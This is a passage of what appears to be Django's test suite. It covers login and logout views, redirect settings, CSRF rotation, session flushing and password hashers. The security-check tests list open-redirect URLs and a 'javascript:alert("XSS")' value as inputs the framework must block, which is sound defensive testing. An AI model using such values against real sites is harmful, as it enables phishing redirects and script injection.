            Site = apps.get_model('sites.Site')
            site = Site.objects.get_current()
            self.assertEqual(response.context['site'], site)
            self.assertEqual(response.context['site_name'], site.name)
        else:
            self.assertIsInstance(response.context['site'], RequestSite)
        self.assertIsInstance(response.context['form'], AuthenticationForm)

    def test_security_check(self):
        login_url = reverse('login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'http:///example.com',
                        'https://example.com',
                        'ftp://example.com',
                        '///example.com',
                        '//example.com',
                        'javascript:alert("XSS")'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': 'password',
            })
            self.assertEqual(response.status_code, 302)
            self.assertNotIn(bad_url, response.url,
                             "%s should be blocked" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://example.com',
                         'view/?param=//example.com',
                         'https://testserver/',
                         'HTTPS://testserver/',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            response = self.client.post(safe_url, {
                'username': 'testclient',
                'password': 'password',
            })
            self.assertEqual(response.status_code, 302)
            self.assertIn(good_url, response.url, "%s should be allowed" % good_url)

    def test_security_check_https(self):
        login_url = reverse('login')
        non_https_next_url = 'http://testserver/path'
        not_secured_url = '%(url)s?%(next)s=%(next_url)s' % {
            'url': login_url,
            'next': REDIRECT_FIELD_NAME,
            'next_url': urlquote(non_https_next_url),
        }
        post_data = {
            'username': 'testclient',
            'password': 'password',
        }
        response = self.client.post(not_secured_url, post_data, secure=True)
        self.assertEqual(response.status_code, 302)
        self.assertNotEqual(response.url, non_https_next_url)
        self.assertEqual(response.url, settings.LOGIN_REDIRECT_URL)

    def test_login_form_contains_request(self):
        # 15198
        self.client.post('/custom_requestauth_login/', {
            'username': 'testclient',
            'password': 'password',
        }, follow=True)
        # the custom authentication form used by this login asserts
        # that a request is passed to the form successfully.

    def test_login_csrf_rotate(self):
        """
        Makes sure that a login rotates the currently-used CSRF token.
        """
        # Do a GET to establish a CSRF token
        # TestClient isn't used here as we're testing middleware, essentially.
        req = HttpRequest()
        CsrfViewMiddleware().process_view(req, LoginView.as_view(), (), {})
        # get_token() triggers CSRF token inclusion in the response
        get_token(req)
        resp = LoginView.as_view()(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies.get(settings.CSRF_COOKIE_NAME, None)
        token1 = csrf_cookie.coded_value

        # Prepare the POST request
        req = HttpRequest()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = token1
        req.method = "POST"
        req.POST = {'username': 'testclient', 'password': 'password', 'csrfmiddlewaretoken': token1}

        # Use POST request to log in
        SessionMiddleware().process_request(req)
        CsrfViewMiddleware().process_view(req, LoginView.as_view(), (), {})
        req.META["SERVER_NAME"] = "testserver"  # Required to have redirect work in login view
        req.META["SERVER_PORT"] = 80
        resp = LoginView.as_view()(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies.get(settings.CSRF_COOKIE_NAME, None)
        token2 = csrf_cookie.coded_value

        # Check the CSRF token switched
        self.assertNotEqual(token1, token2)

    def test_session_key_flushed_on_login(self):
        """
        To avoid reusing another user's session, ensure a new, empty session is
        created if the existing session corresponds to a different authenticated
        user.
        """
        self.login()
        original_session_key = self.client.session.session_key

        self.login(username='staff')
        self.assertNotEqual(original_session_key, self.client.session.session_key)

    def test_session_key_flushed_on_login_after_password_change(self):
        """
        As above, but same user logging in after a password change.
        """
        self.login()
        original_session_key = self.client.session.session_key

        # If no password change, session key should not be flushed.
        self.login()
        self.assertEqual(original_session_key, self.client.session.session_key)

        user = User.objects.get(username='testclient')
        user.set_password('foobar')
        user.save()

        self.login(password='foobar')
        self.assertNotEqual(original_session_key, self.client.session.session_key)

    def test_login_session_without_hash_session_key(self):
        """
        Session without django.contrib.auth.HASH_SESSION_KEY should login
        without an exception.
        """
        user = User.objects.get(username='testclient')
        engine = import_module(settings.SESSION_ENGINE)
        session = engine.SessionStore()
        session[SESSION_KEY] = user.id
        session.save()
        original_session_key = session.session_key
        self.client.cookies[settings.SESSION_COOKIE_NAME] = original_session_key

        self.login()
        self.assertNotEqual(original_session_key, self.client.session.session_key)


class LoginURLSettings(AuthViewsTestCase):
    """Tests for settings.LOGIN_URL."""
    def assertLoginURLEquals(self, url, parse_qs=False):
        response = self.client.get('/login_required/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, url, parse_qs=parse_qs)

    @override_settings(LOGIN_URL='/login/')
    def test_standard_login_url(self):
        self.assertLoginURLEquals('/login/?next=/login_required/')

    @override_settings(LOGIN_URL='login')
    def test_named_login_url(self):
        self.assertLoginURLEquals('/login/?next=/login_required/')

    @override_settings(LOGIN_URL='http://remote.example.com/login')
    def test_remote_login_url(self):
        quoted_next = urlquote('http://testserver/login_required/')
        expected = 'http://remote.example.com/login?next=%s' % quoted_next
        self.assertLoginURLEquals(expected)

    @override_settings(LOGIN_URL='https:///login/')
    def test_https_login_url(self):
        quoted_next = urlquote('http://testserver/login_required/')
        expected = 'https:///login/?next=%s' % quoted_next
        self.assertLoginURLEquals(expected)

    @override_settings(LOGIN_URL='/login/?pretty=1')
    def test_login_url_with_querystring(self):
        self.assertLoginURLEquals('/login/?pretty=1&next=/login_required/', parse_qs=True)

    @override_settings(LOGIN_URL='http://remote.example.com/login/?next=/default/')
    def test_remote_login_url_with_next_querystring(self):
        quoted_next = urlquote('http://testserver/login_required/')
        expected = 'http://remote.example.com/login/?next=%s' % quoted_next
        self.assertLoginURLEquals(expected)

    @override_settings(LOGIN_URL=reverse_lazy('login'))
    def test_lazy_login_url(self):
        self.assertLoginURLEquals('/login/?next=/login_required/')


class LoginRedirectUrlTest(AuthViewsTestCase):
    """Tests for settings.LOGIN_REDIRECT_URL."""
    def assertLoginRedirectURLEqual(self, url):
        response = self.login()
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, url)

    def test_default(self):
        self.assertLoginRedirectURLEqual('/accounts/profile/')

    @override_settings(LOGIN_REDIRECT_URL='/custom/')
    def test_custom(self):
        self.assertLoginRedirectURLEqual('/custom/')

    @override_settings(LOGIN_REDIRECT_URL='password_reset')
    def test_named(self):
        self.assertLoginRedirectURLEqual('/password_reset/')

    @override_settings(LOGIN_REDIRECT_URL='http://remote.example.com/welcome/')
    def test_remote(self):
        self.assertLoginRedirectURLEqual('http://remote.example.com/welcome/')


class RedirectToLoginTests(AuthViewsTestCase):
    """Tests for the redirect_to_login view"""
    @override_settings(LOGIN_URL=reverse_lazy('login'))
    def test_redirect_to_login_with_lazy(self):
        login_redirect_response = redirect_to_login(next='/else/where/')
        expected = '/login/?next=/else/where/'
        self.assertEqual(expected, login_redirect_response.url)

    @override_settings(LOGIN_URL=reverse_lazy('login'))
    def test_redirect_to_login_with_lazy_and_unicode(self):
        login_redirect_response = redirect_to_login(next='/else/where/झ/')
        expected = '/login/?next=/else/where/%E0%A4%9D/'
        self.assertEqual(expected, login_redirect_response.url)


class LogoutThenLoginTests(AuthViewsTestCase):
    """Tests for the logout_then_login view"""

    def confirm_logged_out(self):
        self.assertNotIn(SESSION_KEY, self.client.session)

    @override_settings(LOGIN_URL='/login/')
    def test_default_logout_then_login(self):
        self.login()
        req = HttpRequest()
        req.method = 'GET'
        req.session = self.client.session
        response = logout_then_login(req)
        self.confirm_logged_out()
        self.assertRedirects(response, '/login/', fetch_redirect_response=False)

    def test_logout_then_login_with_custom_login(self):
        self.login()
        req = HttpRequest()
        req.method = 'GET'
        req.session = self.client.session
        response = logout_then_login(req, login_url='/custom/')
        self.confirm_logged_out()
        self.assertRedirects(response, '/custom/', fetch_redirect_response=False)

    def test_deprecated_extra_context(self):
        with self.assertRaisesMessage(RemovedInDjango21Warning, 'The unused `extra_context` parameter'):
            logout_then_login(None, extra_context={})


class LoginRedirectAuthenticatedUser(AuthViewsTestCase):
    dont_redirect_url = '/login/redirect_authenticated_user_default/'
    do_redirect_url = '/login/redirect_authenticated_user/'

    def test_default(self):
        """Stay on the login page by default."""
        self.login()
        response = self.client.get(self.dont_redirect_url)
        self.assertEqual(response.status_code, 200)

    def test_guest(self):
        """If not logged in, stay on the same page."""
        response = self.client.get(self.do_redirect_url)
        self.assertEqual(response.status_code, 200)

    def test_redirect(self):
        """If logged in, go to default redirected URL."""
        self.login()
        response = self.client.get(self.do_redirect_url)
        self.assertRedirects(response, '/accounts/profile/', fetch_redirect_response=False)

    @override_settings(LOGIN_REDIRECT_URL='/custom/')
    def test_redirect_url(self):
        """If logged in, go to custom redirected URL."""
        self.login()
        response = self.client.get(self.do_redirect_url)
        self.assertRedirects(response, '/custom/', fetch_redirect_response=False)

    def test_redirect_param(self):
        """If next is specified as a GET parameter, go there."""
        self.login()
        url = self.do_redirect_url + '?next=/custom_next/'
        response = self.client.get(url)
        self.assertRedirects(response, '/custom_next/', fetch_redirect_response=False)

    def test_redirect_loop(self):
        """
        Detect a redirect loop if LOGIN_REDIRECT_URL is not correctly set,
        with and without custom parameters.
        """
        self.login()
        msg = (
            "Redirection loop for authenticated user detected. Check that "
            "your LOGIN_REDIRECT_URL doesn't point to a login page"
        )
        with self.settings(LOGIN_REDIRECT_URL=self.do_redirect_url):
            with self.assertRaisesMessage(ValueError, msg):
                self.client.get(self.do_redirect_url)

            url = self.do_redirect_url + '?bla=2'
            with self.assertRaisesMessage(ValueError, msg):
                self.client.get(url)


class LogoutTest(AuthViewsTestCase):

    def confirm_logged_out(self):
        self.assertNotIn(SESSION_KEY, self.client.session)

    def test_logout_default(self):
        "Logout without next_page option renders the default template"
        self.login()
        response = self.client.get('/logout/')
        self.assertContains(response, 'Logged out')
        self.confirm_logged_out()

    def test_14377(self):
        # Bug 14377
        self.login()
        response = self.client.get('/logout/')
        self.assertIn('site', response.context)

    def test_logout_doesnt_cache(self):
        """
        The logout() view should send "no-cache" headers for reasons described
        in #25490.
        """
        response = self.client.get('/logout/')
        self.assertIn('no-store', response['Cache-Control'])

    def test_logout_with_overridden_redirect_url(self):
        # Bug 11223
        self.login()
        response = self.client.get('/logout/next_page/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/somewhere/')

        response = self.client.get('/logout/next_page/?next=/login/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/login/')

        self.confirm_logged_out()

    def test_logout_with_next_page_specified(self):
        "Logout with next_page option given redirects to specified resource"
        self.login()
        response = self.client.get('/logout/next_page/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/somewhere/')
        self.confirm_logged_out()

    def test_logout_with_redirect_argument(self):
        "Logout with query string redirects to specified resource"
        self.login()
        response = self.client.get('/logout/?next=/login/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/login/')
        self.confirm_logged_out()

    def test_logout_with_custom_redirect_argument(self):
        "Logout with custom query string redirects to specified resource"
        self.login()
        response = self.client.get('/logout/custom_query/?follow=/somewhere/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/somewhere/')
        self.confirm_logged_out()

    def test_logout_with_named_redirect(self):
        "Logout resolves names or URLs passed as next_page."
        self.login()
        response = self.client.get('/logout/next_page/named/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')
        self.confirm_logged_out()

    def test_security_check(self):
        logout_url = reverse('logout')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'http:///example.com',
                        'https://example.com',
                        'ftp://example.com',
                        '///example.com',
                        '//example.com',
                        'javascript:alert("XSS")'):
            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': logout_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            self.login()
            response = self.client.get(nasty_url)
            self.assertEqual(response.status_code, 302)
            self.assertNotIn(bad_url, response.url,
                             "%s should be blocked" % bad_url)
            self.confirm_logged_out()

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://example.com',
                         'view/?param=//example.com',
                         'https://testserver/',
                         'HTTPS://testserver/',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': logout_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            self.login()
            response = self.client.get(safe_url)
            self.assertEqual(response.status_code, 302)
            self.assertIn(good_url, response.url, "%s should be allowed" % good_url)
            self.confirm_logged_out()

    def test_security_check_https(self):
        logout_url = reverse('logout')
        non_https_next_url = 'http://testserver/'
        url = '%(url)s?%(next)s=%(next_url)s' % {
            'url': logout_url,
            'next': REDIRECT_FIELD_NAME,
            'next_url': urlquote(non_https_next_url),
        }
        self.login()
        response = self.client.get(url, secure=True)
        self.assertEqual(response.status_code, 302)
        self.assertNotEqual(response.url, non_https_next_url)
        self.assertEqual(response.url, logout_url)
        self.confirm_logged_out()

    def test_logout_preserve_language(self):
        """Check that language stored in session is preserved after logout"""
        # Create a new session with language
        engine = import_module(settings.SESSION_ENGINE)
        session = engine.SessionStore()
        session[LANGUAGE_SESSION_KEY] = 'pl'
        session.save()
        self.client.cookies[settings.SESSION_COOKIE_NAME] = session.session_key

        self.client.get('/logout/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], 'pl')

    @override_settings(LOGOUT_REDIRECT_URL='/custom/')
    def test_logout_redirect_url_setting(self):
        self.login()
        response = self.client.get('/logout/')
        self.assertRedirects(response, '/custom/', fetch_redirect_response=False)

    @override_settings(LOGOUT_REDIRECT_URL='logout')
    def test_logout_redirect_url_named_setting(self):
        self.login()
        response = self.client.get('/logout/')
        self.assertRedirects(response, '/logout/', fetch_redirect_response=False)


# Redirect in test_user_change_password will fail if session auth hash
# isn't updated after password change (#21649)
@override_settings(ROOT_URLCONF='auth_tests.urls_admin')
class ChangelistTests(AuthViewsTestCase):

    def setUp(self):
        # Make me a superuser before logging in.
        User.objects.filter(username='testclient').update(is_staff=True, is_superuser=True)
        self.login()
        self.admin = User.objects.get(pk=self.u1.pk)

    def get_user_data(self, user):
        return {
            'username': user.username,
            'password': user.password,
            'email': user.email,
            'is_active': user.is_active,
            'is_staff': user.is_staff,
            'is_superuser': user.is_superuser,
            'last_login_0': user.last_login.strftime('%Y-%m-%d'),
            'last_login_1': user.last_login.strftime('%H:%M:%S'),
            'initial-last_login_0': user.last_login.strftime('%Y-%m-%d'),
            'initial-last_login_1': user.last_login.strftime('%H:%M:%S'),
            'date_joined_0': user.date_joined.strftime('%Y-%m-%d'),
            'date_joined_1': user.date_joined.strftime('%H:%M:%S'),
            'initial-date_joined_0': user.date_joined.strftime('%Y-%m-%d'),
            'initial-date_joined_1': user.date_joined.strftime('%H:%M:%S'),
            'first_name': user.first_name,
            'last_name': user.last_name,
        }

    # #20078 - users shouldn't be allowed to guess password hashes via
    # repeated password__startswith queries.
    def test_changelist_disallows_password_lookups(self):
        # A lookup that tries to filter on password isn't OK
        with patch_logger('django.security.DisallowedModelAdminLookup', 'error') as logger_calls:
            response = self.client.get(reverse('auth_test_admin:auth_user_changelist') + '?password__startswith=sha1$')
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(logger_calls), 1)

    def test_user_change_email(self):
        data = self.get_user_data(self.admin)
        data['email'] = 'new_' + data['email']
        response = self.client.post(
            reverse('auth_test_admin:auth_user_change', args=(self.admin.pk,)),
            data
        )
        self.assertRedirects(response, reverse('auth_test_admin:auth_user_changelist'))
        row = LogEntry.objects.latest('id')
        self.assertEqual(row.get_change_message(), 'Changed email.')

    def test_user_not_change(self):
        response = self.client.post(
            reverse('auth_test_admin:auth_user_change', args=(self.admin.pk,)),
            self.get_user_data(self.admin)
        )
        self.assertRedirects(response, reverse('auth_test_admin:auth_user_changelist'))
        row = LogEntry.objects.latest('id')
        self.assertEqual(row.get_change_message(), 'No fields changed.')

    def test_user_change_password(self):
        user_change_url = reverse('auth_test_admin:auth_user_change', args=(self.admin.pk,))
        password_change_url = reverse('auth_test_admin:auth_user_password_change', args=(self.admin.pk,))

        response = self.client.get(user_change_url)
        # Test the link inside password field help_text.
        rel_link = re.search(
            r'you can change the password using <a href="([^"]*)">this form</a>',
            force_text(response.content)
        ).groups()[0]
        self.assertEqual(
            os.path.normpath(user_change_url + rel_link),
            os.path.normpath(password_change_url)
        )

        response = self.client.post(
            password_change_url,
            {
                'password1': 'password1',
                'password2': 'password1',
            }
        )
        self.assertRedirects(response, user_change_url)
        row = LogEntry.objects.latest('id')
        self.assertEqual(row.get_change_message(), 'Changed password.')
        self.logout()
        self.login(password='password1')

    def test_user_change_different_user_password(self):
        u = User.objects.get(email='staffmember@example.com')
        response = self.client.post(
            reverse('auth_test_admin:auth_user_password_change', args=(u.pk,)),
            {
                'password1': 'password1',
                'password2': 'password1',
            }
        )
        self.assertRedirects(response, reverse('auth_test_admin:auth_user_change', args=(u.pk,)))
        row = LogEntry.objects.latest('id')
        self.assertEqual(row.user_id, self.admin.pk)
        self.assertEqual(row.object_id, str(u.pk))
        self.assertEqual(row.get_change_message(), 'Changed password.')

    def test_password_change_bad_url(self):
        response = self.client.get(reverse('auth_test_admin:auth_user_password_change', args=('foobar',)))
        self.assertEqual(response.status_code, 404)


@override_settings(
    AUTH_USER_MODEL='auth_tests.UUIDUser',
    ROOT_URLCONF='auth_tests.urls_custom_user_admin',
)
class UUIDUserTests(TestCase):

    def test_admin_password_change(self):
        u = UUIDUser.objects.create_superuser(username='uuid', email='foo@bar.com', password='test')
        self.assertTrue(self.client.login(username='uuid', password='test'))

        user_change_url = reverse('custom_user_admin:auth_tests_uuiduser_change', args=(u.pk,))
        response = self.client.get(user_change_url)
        self.assertEqual(response.status_code, 200)

        password_change_url = reverse('custom_user_admin:auth_user_password_change', args=(u.pk,))
        response = self.client.get(password_change_url)
        self.assertEqual(response.status_code, 200)

        # A LogEntry is created with pk=1 which breaks a FK constraint on MySQL
        with connection.constraint_checks_disabled():
            response = self.client.post(password_change_url, {
                'password1': 'password1',
                'password2': 'password1',
            })
        self.assertRedirects(response, user_change_url)
        row = LogEntry.objects.latest('id')
        self.assertEqual(row.user_id, 1)  # hardcoded in CustomUserAdmin.log_change()
        self.assertEqual(row.object_id, str(u.pk))
        self.assertEqual(row.get_change_message(), 'Changed password.')

        # The LogEntry.user column isn't altered to a UUID type so it's set to
        # an integer manually in CustomUserAdmin to avoid an error. To avoid a
        # constraint error, delete the entry before constraints are checked
        # after the test.
        row.delete()






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from unittest import skipUnless

from django.conf.global_settings import PASSWORD_HASHERS
from django.contrib.auth.hashers import (
    UNUSABLE_PASSWORD_PREFIX, UNUSABLE_PASSWORD_SUFFIX_LENGTH,
    BasePasswordHasher, PBKDF2PasswordHasher, PBKDF2SHA1PasswordHasher,
    check_password, get_hasher, identify_hasher, is_password_usable,
    make_password,
)
from django.test import SimpleTestCase, mock
from django.test.utils import override_settings
from django.utils import six
from django.utils.encoding import force_bytes

try:
    import crypt
except ImportError:
    crypt = None
else:
    # On some platforms (e.g. OpenBSD), crypt.crypt() always return None.
    if crypt.crypt('', '') is None:
        crypt = None

try:
    import bcrypt
except ImportError:
    bcrypt = None

try:
    import argon2
except ImportError:
    argon2 = None


class PBKDF2SingleIterationHasher(PBKDF2PasswordHasher):
    iterations = 1


@override_settings(PASSWORD_HASHERS=PASSWORD_HASHERS)
class TestUtilsHashPass(SimpleTestCase):

    def test_simple(self):
        encoded = make_password('lètmein')
        self.assertTrue(encoded.startswith('pbkdf2_sha256$'))
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        # Blank passwords
        blank_encoded = make_password('')
        self.assertTrue(blank_encoded.startswith('pbkdf2_sha256$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    def test_pbkdf2(self):
        encoded = make_password('lètmein', 'seasalt', 'pbkdf2_sha256')
        self.assertEqual(encoded, 'pbkdf2_sha256$36000$seasalt$mEUPPFJkT/xtwDU8rB7Q+puHRZnR07WRjerTkt/3HI0=')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "pbkdf2_sha256")
        # Blank passwords
        blank_encoded = make_password('', 'seasalt', 'pbkdf2_sha256')
        self.assertTrue(blank_encoded.startswith('pbkdf2_sha256$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @override_settings(PASSWORD_HASHERS=['django.contrib.auth.hashers.SHA1PasswordHasher'])
    def test_sha1(self):
        encoded = make_password('lètmein', 'seasalt', 'sha1')
        self.assertEqual(encoded, 'sha1$seasalt$cff36ea83f5706ce9aa7454e63e431fc726b2dc8')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "sha1")
        # Blank passwords
        blank_encoded = make_password('', 'seasalt', 'sha1')
        self.assertTrue(blank_encoded.startswith('sha1$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @override_settings(PASSWORD_HASHERS=['django.contrib.auth.hashers.MD5PasswordHasher'])
    def test_md5(self):
        encoded = make_password('lètmein', 'seasalt', 'md5')
        self.assertEqual(encoded, 'md5$seasalt$3f86d0d3d465b7b458c231bf3555c0e3')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "md5")
        # Blank passwords
        blank_encoded = make_password('', 'seasalt', 'md5')
        self.assertTrue(blank_encoded.startswith('md5$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @override_settings(PASSWORD_HASHERS=['django.contrib.auth.hashers.UnsaltedMD5PasswordHasher'])
    def test_unsalted_md5(self):
        encoded = make_password('lètmein', '', 'unsalted_md5')
        self.assertEqual(encoded, '88a434c88cca4e900f7874cd98123f43')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "unsalted_md5")
        # Alternate unsalted syntax
        alt_encoded = "md5$$%s" % encoded
        self.assertTrue(is_password_usable(alt_encoded))
        self.assertTrue(check_password('lètmein', alt_encoded))
        self.assertFalse(check_password('lètmeinz', alt_encoded))
        # Blank passwords
        blank_encoded = make_password('', '', 'unsalted_md5')
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @override_settings(PASSWORD_HASHERS=['django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher'])
    def test_unsalted_sha1(self):
        encoded = make_password('lètmein', '', 'unsalted_sha1')
        self.assertEqual(encoded, 'sha1$$6d138ca3ae545631b3abd71a4f076ce759c5700b')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "unsalted_sha1")
        # Raw SHA1 isn't acceptable
        alt_encoded = encoded[6:]
        self.assertFalse(check_password('lètmein', alt_encoded))
        # Blank passwords
        blank_encoded = make_password('', '', 'unsalted_sha1')
        self.assertTrue(blank_encoded.startswith('sha1$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @skipUnless(crypt, "no crypt module to generate password.")
    @override_settings(PASSWORD_HASHERS=['django.contrib.auth.hashers.CryptPasswordHasher'])
    def test_crypt(self):
        encoded = make_password('lètmei', 'ab', 'crypt')
        self.assertEqual(encoded, 'crypt$$ab1Hv2Lg7ltQo')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(check_password('lètmei', encoded))
        self.assertFalse(check_password('lètmeiz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "crypt")
        # Blank passwords
        blank_encoded = make_password('', 'ab', 'crypt')
        self.assertTrue(blank_encoded.startswith('crypt$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @skipUnless(bcrypt, "bcrypt not installed")
    def test_bcrypt_sha256(self):
        encoded = make_password('lètmein', hasher='bcrypt_sha256')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(encoded.startswith('bcrypt_sha256$'))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "bcrypt_sha256")

        # Verify that password truncation no longer works
        password = (
            'VSK0UYV6FFQVZ0KG88DYN9WADAADZO1CTSIVDJUNZSUML6IBX7LN7ZS3R5'
            'JGB3RGZ7VI7G7DJQ9NI8BQFSRPTG6UWTTVESA5ZPUN'
        )
        encoded = make_password(password, hasher='bcrypt_sha256')
        self.assertTrue(check_password(password, encoded))
        self.assertFalse(check_password(password[:72], encoded))
        # Blank passwords
        blank_encoded = make_password('', hasher='bcrypt_sha256')
        self.assertTrue(blank_encoded.startswith('bcrypt_sha256$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @skipUnless(bcrypt, "bcrypt not installed")
    def test_bcrypt(self):
        encoded = make_password('lètmein', hasher='bcrypt')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(encoded.startswith('bcrypt$'))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, "bcrypt")
        # Blank passwords
        blank_encoded = make_password('', hasher='bcrypt')
        self.assertTrue(blank_encoded.startswith('bcrypt$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))

    @skipUnless(bcrypt, "bcrypt not installed")
    def test_bcrypt_upgrade(self):
        hasher = get_hasher('bcrypt')
        self.assertEqual('bcrypt', hasher.algorithm)
        self.assertNotEqual(hasher.rounds, 4)

        old_rounds = hasher.rounds
        try:
            # Generate a password with 4 rounds.
            hasher.rounds = 4
            encoded = make_password('letmein', hasher='bcrypt')
            rounds = hasher.safe_summary(encoded)['work factor']
            self.assertEqual(rounds, '04')

            state = {'upgraded': False}

            def setter(password):
                state['upgraded'] = True

            # Check that no upgrade is triggered.
            self.assertTrue(check_password('letmein', encoded, setter, 'bcrypt'))
            self.assertFalse(state['upgraded'])

            # Revert to the old rounds count and ...
            hasher.rounds = old_rounds

            # ... check if the password would get updated to the new count.
            self.assertTrue(check_password('letmein', encoded, setter, 'bcrypt'))
            self.assertTrue(state['upgraded'])
        finally:
            hasher.rounds = old_rounds

    @skipUnless(bcrypt, "bcrypt not installed")
    def test_bcrypt_harden_runtime(self):
        hasher = get_hasher('bcrypt')
        self.assertEqual('bcrypt', hasher.algorithm)

        with mock.patch.object(hasher, 'rounds', 4):
            encoded = make_password('letmein', hasher='bcrypt')

        with mock.patch.object(hasher, 'rounds', 6), \
                mock.patch.object(hasher, 'encode', side_effect=hasher.encode):
            hasher.harden_runtime('wrong_password', encoded)

            # Increasing rounds from 4 to 6 means an increase of 4 in workload,
            # therefore hardening should run 3 times to make the timing the
            # same (the original encode() call already ran once).
            self.assertEqual(hasher.encode.call_count, 3)

            # Get the original salt (includes the original workload factor)
            algorithm, data = encoded.split('$', 1)
            expected_call = (('wrong_password', force_bytes(data[:29])),)
            self.assertEqual(hasher.encode.call_args_list, [expected_call] * 3)

    def test_unusable(self):
        encoded = make_password(None)
        self.assertEqual(len(encoded), len(UNUSABLE_PASSWORD_PREFIX) + UNUSABLE_PASSWORD_SUFFIX_LENGTH)
        self.assertFalse(is_password_usable(encoded))
        self.assertFalse(check_password(None, encoded))
        self.assertFalse(check_password(encoded, encoded))
        self.assertFalse(check_password(UNUSABLE_PASSWORD_PREFIX, encoded))
        self.assertFalse(check_password('', encoded))
        self.assertFalse(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        with self.assertRaises(ValueError):
            identify_hasher(encoded)
        # Assert that the unusable passwords actually contain a random part.
        # This might fail one day due to a hash collision.
        self.assertNotEqual(encoded, make_password(None), "Random password collision?")

    def test_unspecified_password(self):
        """
        Makes sure specifying no plain password with a valid encoded password
        returns `False`.
        """
        self.assertFalse(check_password(None, make_password('lètmein')))

    def test_bad_algorithm(self):
        with self.assertRaises(ValueError):
            make_password('lètmein', hasher='lolcat')
        with self.assertRaises(ValueError):
            identify_hasher('lolcat$salt$hash')

    def test_bad_encoded(self):
        self.assertFalse(is_password_usable('lètmein_badencoded'))
        self.assertFalse(is_password_usable(''))

    def test_low_level_pbkdf2(self):
        hasher = PBKDF2PasswordHasher()
